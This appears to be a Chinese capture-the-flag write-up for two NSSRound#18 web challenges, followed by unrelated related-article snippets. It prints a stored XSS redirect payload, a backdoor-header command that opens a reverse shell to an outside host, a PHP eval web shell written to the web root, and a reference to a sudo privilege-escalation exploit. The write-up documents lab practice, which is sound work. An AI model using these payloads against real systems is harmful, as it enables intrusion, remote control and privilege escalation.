[NSSRound#18 Basic]web解析

2024-03-15 16:36
文章标签 web 解析 18 basic nssround

本文主要是介绍[NSSRound#18 Basic]web解析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

    • 门酱想玩什么呢?
    • Becomeroot


门酱想玩什么呢?

打开题目,加载完视频后要求我们给个游戏链接

在这里插入图片描述

点开评论区不难发现应该是想玩元梦之星,这里有个评论功能可以上传图片

在这里插入图片描述

我们随便输入点东西发现是插入并赋值到content元素里面

在这里插入图片描述

猜测是存储型xss,我们去看看hint访问下/nssctfroundSpring.php

<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {$urlParts = parse_url($matches[0]);if ($urlParts !== false) {echo '<img class="content" src="' . $matches[0] . '">';//.......}//......}//......
} 

大概就是对评论的图片链接格式的过滤

我们要跳转到元梦之星用到location去跳转,最基础的payload

<script>document.location="https://ymzx.qq.com"</script>

在这里插入图片描述

然后按照上文的匹配条件修改一下以及闭合前面的<",最终构如下

http://"><script>document.location="https://ymzx.qq.com"</script>.png /png

在这里插入图片描述

成功跳转元梦之星

然后就是如何给门酱一个链接

在这里插入图片描述

也就是说需要门酱自己网站的链接去跳转,由于我们通过xss语句已经插入到img的src中实现跳转到元梦之星

所以我们只需要抓包跳转时的界面,就可以得到门酱跳转时的请求参数值

在这里插入图片描述

拼接上题目路径即可

http://node4.anna.nssctf.cn:28757/words/?title=cmV2MXZl&content=aHR0cCUzQSUyRiUyRiUyMiUzRSUzQ3NjcmlwdCUzRWRvY3VtZW50LmxvY2F0aW9uJTNEJTIyaHR0cHMlM0ElMkYlMkZ5bXp4LnFxLmNvbSUyMiUzQyUyRnNjcmlwdCUzRS5wbmclMjAlMkZwbmc%3D

得到flag

在这里插入图片描述

Becomeroot

打开题目提示在/root里面,应该是最后要提权

在这里插入图片描述

按照提示和php开发仓库入侵有关,搜出来刚好是对应题目php版本,可以利用User-Agentt头来命令执行 参考文章

我们bp抓包,构造如下

User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1'");

在这里插入图片描述

反弹成功,接下来尝试sh脚本提权发现不行

提示说和sudo提权有关,刚刚试了sudo -l -S是需要密码的所以肯定是存在提权漏洞

搜出来CVE-2021-3156

在这里插入图片描述

nc连接的靶机上传脚本比较麻烦,所以我们写马利用蚁剑上传

User-Agentt: zerodiumsystem("echo '<?php eval(\$_POST[1]);?>'>/var/www/html/shell.php");

漏洞exp利用链接

上传成功

在这里插入图片描述

然后再nc连接,成功提权

在这里插入图片描述

得到flag

在这里插入图片描述

这篇关于[NSSRound#18 Basic]web解析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/812589

相关文章

网页解析 lxml 库--实战

lxml库使用流程 lxml 是 Python 的第三方解析库,完全使用 Python 语言编写,它对 XPath表达式提供了良好的支 持,因此能够了高效地解析 HTML/XML 文档。本节讲解如何通过 lxml 库解析 HTML 文档。 pip install lxml lxm| 库提供了一个 etree 模块,该模块专门用来解析 HTML/XML 文档,下面来介绍一下 lxml 库

【C++】_list常用方法解析及模拟实现

相信自己的力量,只要对自己始终保持信心,尽自己最大努力去完成任何事,就算事情最终结果是失败了,努力了也不留遗憾。💓💓💓 目录   ✨说在前面 🍋知识点一:什么是list? •🌰1.list的定义 •🌰2.list的基本特性 •🌰3.常用接口介绍 🍋知识点二:list常用接口 •🌰1.默认成员函数 🔥构造函数(⭐) 🔥析构函数 •🌰2.list对象

Java Web指的是什么

Java Web指的是使用Java技术进行Web开发的一种方式。Java在Web开发领域有着广泛的应用,主要通过Java EE(Enterprise Edition)平台来实现。  主要特点和技术包括: 1. Servlets和JSP:     Servlets 是Java编写的服务器端程序,用于处理客户端请求和生成动态网页内容。     JSP(JavaServer Pages)

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

OWASP十大安全漏洞解析

OWASP(开放式Web应用程序安全项目)发布的“十大安全漏洞”列表是Web应用程序安全领域的权威指南,它总结了Web应用程序中最常见、最危险的安全隐患。以下是对OWASP十大安全漏洞的详细解析: 1. 注入漏洞(Injection) 描述:攻击者通过在应用程序的输入数据中插入恶意代码,从而控制应用程序的行为。常见的注入类型包括SQL注入、OS命令注入、LDAP注入等。 影响:可能导致数据泄

EasyPlayer.js网页H5 Web js播放器能力合集

最近遇到一个需求,要求做一款播放器,发现能力上跟EasyPlayer.js基本一致,满足要求: 需求 功性能 分类 需求描述 功能 预览 分屏模式 单分屏(单屏/全屏) 多分屏(2*2) 多分屏(3*3) 多分屏(4*4) 播放控制 播放(单个或全部) 暂停(暂停时展示最后一帧画面) 停止(单个或全部) 声音控制(开关/音量调节) 主辅码流切换 辅助功能 屏

从状态管理到性能优化:全面解析 Android Compose

文章目录 引言一、Android Compose基本概念1.1 什么是Android Compose?1.2 Compose的优势1.3 如何在项目中使用Compose 二、Compose中的状态管理2.1 状态管理的重要性2.2 Compose中的状态和数据流2.3 使用State和MutableState处理状态2.4 通过ViewModel进行状态管理 三、Compose中的列表和滚动

Spring 源码解读:自定义实现Bean定义的注册与解析

引言 在Spring框架中,Bean的注册与解析是整个依赖注入流程的核心步骤。通过Bean定义,Spring容器知道如何创建、配置和管理每个Bean实例。本篇文章将通过实现一个简化版的Bean定义注册与解析机制,帮助你理解Spring框架背后的设计逻辑。我们还将对比Spring中的BeanDefinition和BeanDefinitionRegistry,以全面掌握Bean注册和解析的核心原理。

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

多线程解析报表

假如有这样一个需求,当我们需要解析一个Excel里多个sheet的数据时,可以考虑使用多线程,每个线程解析一个sheet里的数据,等到所有的sheet都解析完之后,程序需要提示解析完成。 Way1 join import java.time.LocalTime;public class Main {public static void main(String[] args) thro